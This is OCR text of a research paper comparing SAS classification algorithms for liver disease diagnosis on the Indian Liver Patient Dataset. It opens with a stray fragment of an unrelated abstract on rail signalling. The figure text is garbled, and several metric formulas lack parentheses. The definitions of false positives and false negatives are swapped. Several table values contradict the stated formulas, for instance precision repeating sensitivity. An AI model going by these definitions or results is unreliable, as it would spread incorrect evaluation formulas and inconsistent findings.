speed time, which is critical in ensuring the frequency of voyage in the rail system signaling system,
was estimated with high accuracy by applying the proposed method. The machine learning methods
studied produced predictions with Cross Validation and Random Sampling techniques. Stochastic
Gradient Descent, Random Forest, AdaBoost, Decision Trees, Neural Network, kNN, and SVM
methods were applied to the constant speed estimates made using experimentally generated data sets.
While the obtained results are given comparatively, the most successful results were obtained with the
proposed method Stochastic Gradient Descent method. While the results of MSE, RMSE, MAE and R?
values calculated for performance evaluation are given in the table, the amounts of errors obtained are
presented. With the proposed method, the performance of the vehicle traffic is increased by providing
high efficiency in the rail system operation and the signalization system, where dynamic operating
conditions are available. In this way, by providing flexibility in the system operating conditions, the
most appropriate answer can be produced quickly and the situations brought by the results can be
activated. This study is of great importance for increasing and promoting machine learning applications
in rail system signaling system elements with high data sets.
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Abstract

In recent years, different approaches and methods have been proposed to diagnose various diseases accurately.
Since there are a variety of liver diseases, till late-stage liver disease and liver failure occur the symptoms tend to
be specific for that illness. Therefore, early diagnosis can play a key role in preventing deaths from liver diseases.
In this study, we compare the accuracy of different classification methods supported by the SAS software suite,
such as Neural Network, Auto Neural, High Performance (HP) SVM, HP Forest, HP Tree (Decision Tree), and
HP Neural for the diagnosis of liver diseases. In this study, the Indian Liver Patient Dataset (ILPD) provided by
the University of California, Irvine (UCI) repository is used. Experimental results show that based on the metrics
of our study, in the training phase while HP Forest achieves the highest accuracy rate, HP SVM and HP Tree do
the lowest accuracy rates. However, in the validation phase, Neural Network achieves the highest accuracy rate
and HP Forest does the lowest accuracy rate. Our experimental results may be useful for both researchers and
practitioners working in related fields.

Keywords: liver diseases, early diagnosis, data classifiers, data mining

1. Introduction

The liver is the largest internal organ in humans. Also, metabolically it is the most complex organ and
is the only organ that can regenerate itself. When a portion of the liver is transplanted, the transplanted
portion will grow to the appropriate size for the recipient while the donor's liver will regenerate back to
its original size. It performs more than 500 different functions including neutralizing toxins, controlling
blood sugar, manufacturing proteins and hormones, fighting off infection, and helping to clot the blood
[1,2]. There are over 100 types of liver disease that affect men, women and children. Some of them like
different types of hepatitis are caused by viruses. Others can be the result of drugs, poisons or drinking
a lot of alcohol. If liver abnormality is suspected, jaundice is usually the first sign. In addition, many
parameters should be reviewed by performing blood tests. Moreover, the liver is investigated for
inflammation and relevant virus particles are scanned. [3].

Diagnosis and treatment of diseases are time-intensive procedures. Software-based solutions are a
promising approach which may enhance the availability and cost-effectiveness of assessment and
intervention. Surely, the early detection of diseases and the treatment is of so crucial to control the
diseases and improve their prognosis. Nevertheless, establishing a diagnosis in early stages is really
challenging since many diseases initially present with similar signs and symptoms. To address this
important challenge, in recent years, several software-based solutions have been developed and some of
those solutions are based on existing screening instruments. The incorporation of such solutions into
clinical practice is one of the focuses of research efforts in health informatics.

Early diagnosis and treatment of diseases is crucial for human health. There are various symptoms and
signs for detecting liver diseases in the early stages. Especially for general practitioners, it is a challenge
to diagnose the disease. Diagnosing disease in computer science has made great progress in recent years
[4-8]. Software-based practical solutions are actively used successfully. As a part of daily diagnosis, a
huge amount of diagnostic data is generated everyday related to various types of disorders and diseases.
Since they discover relationships in a huge amount of data automatically, data mining and analytics
techniques and solutions play a key role for knowledge discovery from this diagnostic data. Various
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data mining techniques, such as clustering, classification, association rules and regression, are available
for predicting diseases [6-8]. Since classifiers, which are tools in data mining that take a bunch of data
representing things to be classified and attempt to predict which class the new data belongs to, have
received considerable attention for disease diagnosis, in this study we focus on and analyze the
performance of different classifiers for the detection of liver diseases.

Although recently several novel contributions have been made in the use of classifiers for medical
diagnosis, this study extends those contributions in mainly two directions: (i) presentation of the
classifiers which have not been analyzed before but are natively supported by the SAS software suite;
(i) performance evaluation of the classification algorithms in the SAS software suite for liver diagnosis.
The rest of the paper is organized as follows. Related works are given in Section 2. In Section 3,
classification algorithms in the SAS software suite and materials are introduced. Experimental results
are presented in Section 4. Finally, the paper is concluded in Section 5.

2. Related Works

Although in the past different techniques and approaches were proposed to work with disease databases
and diagnosis data, nowadays, data mining techniques, especially classification, have been widely
utilized in this domain [9]. In this section, we give a literature survey and present the results of the papers
covered in the literature survey. Due to the focus of our study, we mainly concentrate on studies handling
the use of data mining techniques proposed for liver diseases and by presenting their advantages and
disadvantages outline our study.

Literature survey confirms that some researchers focused on comparing the performance of different
classifiers. Alfisahrin and Mantoro in [10] proposed the use of Decision Tree, Naive Bayes and NBTree
algorithms for accurate diagnosis of liver diseases and showed that compared to the others, NBTree
algorithm provides the highest accuracy whereas Naive Bayes algorithm requires the least computation
time. Bahramirad et. al., [11] introduced the use of data mining for disease diagnosis and disease
prediction using two different liver disease datasets, namely Andhra Pradesh state of India (AP dataset)
and BUPA dataset from California State of USA. The authors mainly focused on the algorithms,
including Logistic, Linear Logistic Regression, Simple Logistic, Bayesian Logistic Regression, Logistic
Model Trees (LMT), Multilayer Perceptron, K-STAR, Repeated Incremental Pruning to Produce Error
Reduction (RIPPER), Neural Net, Rule Induction, SVM, Classification and Regression Tree (CART)
and Bayesian Boosting, and proved that using the AP dataset the authors achieved higher accuracy
owing to the higher number of features involved in the AP dataset. On the other hand, in some cases,
the algorithms performed better when the BUDA dataset was used.

Kim, Sohn, and Yoon in [12] focused on the use of logistic regression, DT and NN for analyzing risk
factors in liver diseases. The authors showed that the use of growth curve estimator increases sensitivity
value dramatically. In that study, Neural Network model achieved 72.55% accuracy and 78.62%
sensitivity.

In the last decade, especially in the last couple of years, hybrid approaches drew the attention of research
community. Karthik et al. [13], proposed the use of different methods in three steps: ANN to classify,
Learn by Example (LEM) algorithm to create classification rules, and fuzzy rules.

In [14] J-48, Multi-Layer Perceptron (MLP), Support Vector Machine (SVM), Random Forest and
Bayesian Network were used by Gulia, Vohra, and Rani for the same goal. The authors evaluated the
results in two phases: before and after applying feature selection. While before applying feature selection
SVM achieved the highest accuracy, 71.3551%, after applying feature selection Random Forest
achieved the highest accuracy, 71.8696%.

Liang and Peng in [15] presented the integration of Al and GA for the same goal and showed the
outcome of their approach using two different liver disease datasets in the UCI machine learning
repository: Liver Disorder dataset and Indian Liver Patient Dataset (ILPD) dataset [16]. They achieved
an average accuracy of 88.7% when the Liver Disorder was used. However, the average accuracy rate
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they achieved was 98.1% when the ILPD dataset was used. For both of the datasets 20-fold cross-
validation was performed.

Bashir, Qamar, and Khan in [17] introduced an ensemble model with multi-layer classification called
HM-BagMoov which utilizes enhanced bagging and optimized weighting. The authors applied the
proposed model on several datasets and proved that it performed better compared to the single classifiers
used in that study in terms of accuracy, sensitivity and F-measure metrics. The authors also developed
an application called IntelliHealth, currently used in hospitals and by doctors.

Another focus of the researchers in this domain was to compare the performance of simulation
platforms. For instance, in [18], Abdar compared the performance of Rapid Miner and IBM SPSS
Modeler using a liver disease dataset. The author applied Linear regression, K-Nearest Neighbor (KNN),
C4.5, C5.0, Naive Bayes, Chi-square Automatic Interaction Detector, SVM, Neural Network and
Random Forest algorithms in Rapid Miner and CHAID, Logistic Regression, Bayesian net, SVM,
Neural Network, KNN, C5.0 and Decision List algorithms in IBM SPSS Modeler. It was shown that
although Neural Network achieved the highest accuracy rate in Rapid Miner, in IBM SPSS Modeler,
C5.0 achieved the accuracy rate of 87.91% and was the best algorithm in the performance evaluation
study.

In [19], a set of individual classifiers involved in an ensemble classifier, solo classifiers and neural
network classifiers was applied on 4 datasets provided by UCI: the Wisconsin Diagnostic Breast Cancer
(WDBC) dataset, the ILPD, the VCDS and the HDDS. Different from the similar studies, the focus of
[20] was Fatty Liver Disease (FLD) and several methods such as Decision Tree, SVM, AdaBoost, KNN,
Probabilistic Neural Network (PNN), Naive Bayes and Fuzzy Sugeno were used to work with normal
and abnormal liver images through linear and quadratic discriminant analysis. According to the results,
PNN achieved the best performance in terms of accuracy, sensitivity, specificity, and Area under Curve
(AUC) metrics.

In [21] used Levenberg—Marquardt Back Propagation Network classifier through random partitioning
approach to process 124 ultrasound images in order to diagnose FLD and evaluated the results using
five metrics: accuracy, sensitivity, specificity, positive predictive value (PPV), and negative predictive
value (NPV). In terms accuracy, the authors achieved 97.58%.

Baitharu and Pani [22] used Decision Tree J48, Naive Bayes, Neural Network, ZeroR, 1BK, and Voting
Feature Intervals (VFI) algorithms to process a liver disorder dataset. The authors proved that Multilayer
Perceptron achieved higher accuracy rates.

In [23] two well-known decision tree algorithms including CHAID and C5.0 have been applied.
According to the results, the best performance was related to C5.0 when it applied with boosting
technique.

In [24] three decision tree algorithms including C5.0, CHAID, and CART applied with boosting
technique on liver disease data set. They have then combined with Multilayer perceptron Neural
Network (MLPNN). Their results indicated that MLPNNB-C5.0 with 94.12% had the best performance
compared with other methods.

In literature, there are many research papers about diagnosis of some diseases. In this article studies,
machine learning methods were used for the effective diagnosis of Heart Disease [25], Parkinson [26],
Tuberculosis [4], Diabetes [5] and Chest [6].

3. Materials and Methods

The classification process in Artificial Intelligence applications is widely used in data mining to identify
groups within a given population. When the literature is reviewed, different classification methods and
algorithms are used effectively in the detection of many diseases. The SAS-based software platform is
a scalable, powerful, integrated software environment designed for data access, conversion, and
reporting [27]. The Java-based platform includes data mining algorithms, artificial intelligence methods
and many methods and algorithms used in data processing applications. In this sense, it is an effective
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and very powerful data processing platform that can be used for many applications such as a new
generation programming language, data processing, information storage and retrieval, descriptive
statistics and web mining [28]. In this study, we used SAS Enterprise Guide 7.1 [27] for data pre-
processing and SAS Enterprise Miner 14.1 [27] for analyzing and diagnosing liver diseases through
combining multiple classification algorithms using model comparison node. The performance of
Decision Tree, Neural Network, AutoNeural, HP SVM, HP Forest and HP Neural algorithms were
compared as shown in Fig. 1. The following subsections explain the main steps of how we implemented
the algorithms in the SAS software suite and presents information about our simulation study.

e
Efg = Meural Network
|
+
i g AutoNeural
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Eig +* HP Neural
|
ey | 5 : ) - B ] ) - re ] o, Model
E Liver_Patient_ Eﬁi HP Ua_rlable L HP [?a_ta T HP sVM BT .
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‘& HP Forest
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dpia

Figure 1 Algorithms used in this study and how they are implemented

e

3.1 Dataset

Nowadays, there are many different datasets for liver diseases. In our study, the ILPD was used. The
IPLD consists of data collected by Ramana et al. in 2012 from the North East of Andhra Pradesh region
[29,30]. It includes 583 rows and has two classes. While the first class is related to liver disease patients
records (PR) and includes 416 records, the second class is for non-liver (PR) and includes 167 records.
Overall, the dataset has 11 columns for 441 male and 142 female patients. The details are given in Table
1.

Table 1 Attributes of the ILPD

No. | Attribute name Type Range

1. Age : Age of the patient Interval [4-90]

2. Gender : Gender of the patient Nominal [Male-Female]
3. TB: Total Bilirubin Interval [0.4-75]
4, DB :Direct Bilirubin Interval [0.1-19.7]
5. Alkphos : Alkaline Phosphotase Interval [63-2110]
6. Sgpt Alamine : Aminotransferase Interval [10-2000]
7. Sgot Aspartate : Aminotransferase Interval [10-4929]
8. TP : Total Protiens Interval [2.7-9.6]
9. ALB : Albumin Interval [0.9-5.5]
10. | A/G Ratio : Albumin and Globulin Ratio | Interval [0.3-2.8]
11. | Selector field * Binary [1-2]

* utilized to divide the dataset into two groups (class-1: includes 416 LPR and class-2: includes 167 non-LPR).

3.2 HP Variable selection

Our dataset has 11 features include 10 features are inputs and 1 feature (selector field) is the target.
Although all of the features have some effect on the diagnosis of liver diseases, some of them are much
more important rather than the others. HP Variable Selection node was used to identify unimportant or
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less important ones relative to the target. In this regard, it is an appropriate solution to find the best set
of input variables from the whole of possible input variables in order to achieve the highest possible
prediction accuracy through training by these inputs [27].

3.3 Data Partition

In our liver study, the data partition node was used to process the liver disease dataset and then randomly
partition it into two sub-groups: training and validation datasets. This way it helps to reduce running
time spent for preliminary modeling of the simulation study [27].

3.4 Classification Algorithms Used in Applications

This subsection briefly introduces the algorithms used in this study and describes how they can be
applied. Neural Network is used to classify the feature space, and one of the most popular NN models
is multi-layer feed-forward. It consists of three main layers connected to each other including an input
layer, an output layer, and one or more hidden layer(s), which are placed between input and output
layers. Each of the layers consists of a number of neurons in this model. Even though there are various
types of the algorithms such as the Pola—Ribiere Conjugate Gradient (CGP) and the Scaled Conjugate
Gradient (SCG) algorithms, in this study the Levenberg—Marquardt algorithm was preferred.

AutoNeural can handle multiple network configurations, and after finding the best one it captures the
relationship in the dataset and trains its model based on previous experiences and training. It is used in
order to carry out the automatic configuration of the Neural Network Multilayer Perceptron model [27].

HP Neural is a procedure without a lot of parameters for some individuals who have minimal experience
related to the neural networks to achieve good and acceptable outcomes. One of its distinct features is
the need for limited memory relying on Broyden—Fletcher-Goldfarb—Shanno (LBFGS) optimization
approach by proprietary enhancements [27].

HP SVM is a procedure which supports various dataset as inputs in both continuous and categorical
types of data. In addition, it supports the classification of a binary target, the interior-point method, and
the active-set method, cross-validation for penalty selection, and the scoring of models [27].

HP Forest provides an ensemble of hundreds of decision trees in order to forecast a unique target in two
types that are as follows: interval or nominal measurement level. In fact, HP Forest looks for those rules
which maximize the worth measurement which has associated with the splitting criterion [27].

HP Tree is creating and visualization a decision tree and define input variable importance. This node
includes so many of the tools and results found. There are two different targets as interval and
taxonomical.

In addition, in this node, standard visualization and assessment plots, such as the tree diagram, tree map,
leaf statistics, subtree assessment plot, and node rules are available [27].

3.5 Model Comparison

In the SAS software suite, using the expected and actual profits the model comparison node provides
the standard charts and tables to clearly show the performance of compared algorithms [26], [27]. As
shown in Fig. 1, all of the algorithms were connected to this node so that the performance of the
algorithms could be compared and the best algorithm could easily be identified. The ROC and CL
functions were provided for visual representations and fit statistics were presented, too.

4. Experimental Results
The liver disease dataset was randomly divided into two different groups: the first group was created

for training and was 80% of the whole dataset, and the second group was created for testing and was
20% of the whole dataset. Initially, the adjustable parameters related to each classifier were tuned. In
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Neural Network algorithm, Levenberg—Marquardt algorithm was the optimization algorithm and
classical feed-forward Back Propagation learning algorithm was used. The neural network consisted of
single hidden layer with 10 neurons where the initial weights were also selected randomly. For Decision
tree node, default value was selected and for regression node logistic regression algorithm was used.
Although there are several different metrics to evaluate the performance of classification algorithms,
similar to the literature [5-8] and [25-27] in this study we used 7 parameters shown Table 3 and Table
4. The Confusion Matrix for each algorithm is given in Table 1 and the metrics are as follows formulas
(1)-(8). These formulas and calculations used in classification processes are known general rules.
Therefore, in this context, it is possible to see these equations related to classification in many different
articles. The important thing is to use effective methods to ensure that these equations are correct,
understandable and real results are obtained.

Specificity = TNR = TN/(TN + FP) @
Sensitivity = TPR = TP /TP + FN )
Precision = TP / TP + FP 3)

FPR = FP/FP + TN = 1- TNR ()
FNR = FN/FN + TP = 1- TPR 5)

F1 = 2TP/ (2TP + FP + FN) (6)
Accuracy = TP+ TN /TP + TN + FP +FN @)

where TP, FN, FP and TN are as follows:

True Positive (TP) is the number of positive samples correctly classified.

False Negative (FN) is the number of negative samples misclassified as positive.
False Positive (FP) is the number of positive samples misclassified as negative.
True Negative (TN) is the number of negative samples correctly classified.

Table 2 Confusion matrix in this study

Actual Predicted

Disease (positive) No-disease (negative)
Positive TP FP
Negative FN TN

Tables 3 and 4 list the accuracy rates of all the applied algorithms in the training and validation phases.
In addition to the metrics, the ROCs of the algorithms are given in Fig. 2. The ROCS provide valuable
information about the training and validation phases. As can be seen in the figure, in the training phase
HP Forest algorithm achieved the accuracy rate of 100%. On the other hand, in the validation phase
Neural Network algorithm performed better than the others. CL graph is given in Fig. 3. in the training
phase HP Forest algorithm obtained the highest classification score while the others obtained almost the
same scores. But in the validation phase, Neural Network obtained a better predictive model with the
highest CL.
Table 3 Classification rates in the training phase (%)

Description FN|TN |FP |TP |Specificity |Sensitivity |Precision |FPR FNR F1  |Accuracy
HP Tree 0 [0 |134 |333|0.00% 100.00% |100.00% |100.00% [0.00% (83.25% |71.31%
Neural Network |11 |13 121 {322 (9.70% 96.70%  |96.70%  |90.30% |3.30% (82.99% |71.73%

Auto Neural 32 |42 (92 (301 (31.34% 90.39% 90.39% |68.66% |9.61% |82.92% |73.45%

HP Neural 17 120 |114 |316 |14.93% 94.89% 94.89% [85.07% |5.11% (82.83% |71.95%
HP Forest 0 |134 |0 |333 [100.00% |100.00% (100.00% |0.00% {0.00% |100.00% |100.00%
HP SVM 0 |0 |134 |333 |0.00% 100.00% {100.00% |100.00% |0.00% |83.25% |71.31%
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Table 4 Classification rates in the validation phase (%)

Description |FN |TN |FP | TP |Specificity | Sensitivity | Precision | FPR FNR F1 | Accuracy
HP Tree 0 33 |83 |0.00% 100.00% |100.00% |100.00% |0.00% |83.42% |71.55%
Neural Net |4 26 |79 |21.21% 95.18% 95.18% |[78.79% [4.82% |84.04% |74.14%
Auto Neural |10 |10 |23 |73 [30.30% 87.95% 87.95% [69.70% |12.05% |81.56% |71.55%
HP Neural |4 |6 27 |79 |18.18% 95.18% 95.18% [81.82% [4.82% |83.60% |73.28%
HP Forest 11 |10 |23 |72 |30.30% 86.75% 86.75% [69.70% |13.25% |80.90% | 70.69%
HP SVM 0 |0 33 |83 |0.00% 100.00% | 100.00% |100.00% |0.00% |83.42% | 71.55%
Data Role = TRAIN Data Role = VALIDATE
1.04 = 1.0
d—"-"/vf{_;'/
= it
0@ ‘/z__._.f:" /—/ e
| — ’;’: 4 //
== y
z a8 /// //’ 2 04
g || A o :
/ :
L - W g4
i
/// 0.2
0.04 L/ 0.04 e
n'n -JI‘." nl-1 ".I.Fi ﬂIQ 1'n f]I'J fll? ']I-1 ﬂlﬂ a'a 1 I-J
1 - Specificity 1 - Specificity

[——— ol Hibwork

HP Tree

HP VM

HP Hpural  [——HP Foresl | AutaNsural Basuline |

Figure 2 ROC:s for the classification algorithms

Data Role = TRAIN

Cumulative Lift
b
L

T
100
Depth

Datz Role = VALIDATE

Cumulative Lift
P
L

T T T T T
0 20

Depth

Neural Netwark

HFP Tree

HP svM

HPF Neural

HP Farest

AutoMeural

Figure 3 CL curves in the training and validation phases

4, Conclusions

Since their symptoms can be vague and easily confused with other health problems, Liver diseases can
be difficult to diagnose. There are over a hundred different types of liver diseases and symptoms can
vary widely. Sometimes, a person may have no symptoms but the liver may already have suffered
serious damage. It is not easy to diagnose liver diseases in their early stages using traditional approaches;
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hence, software-based tools could aid in early detection and thereby increase the chance of treatment. It
is not possible that the diagnosis of liver diseases is always accurate. In the proposed software-based
approaches, accepted diagnostic criteria should be applied to increase the general validity of the
diagnostic process. In this study, we used ILPD provided by the UCI repository and compared the
accuracy of different classification algorithms supported by the SAS software suite, includes Neural
Network, Auto Neural, HP SVM, HP Forest, HP Tree and HP Neural, for the application. The metrics
simulation results showed that in the training phase HP Forest provided the highest accuracy rate, and
HP SVM and HP Tree did the lowest accuracy rates. On the other hand, in the validation phase Neural
Network provided the highest accuracy rate, and HP Forest did the lowest one. Our experimental results
verify that classification algorithms can provide the accuracy requirements of diagnosis tools if they are
properly applied.
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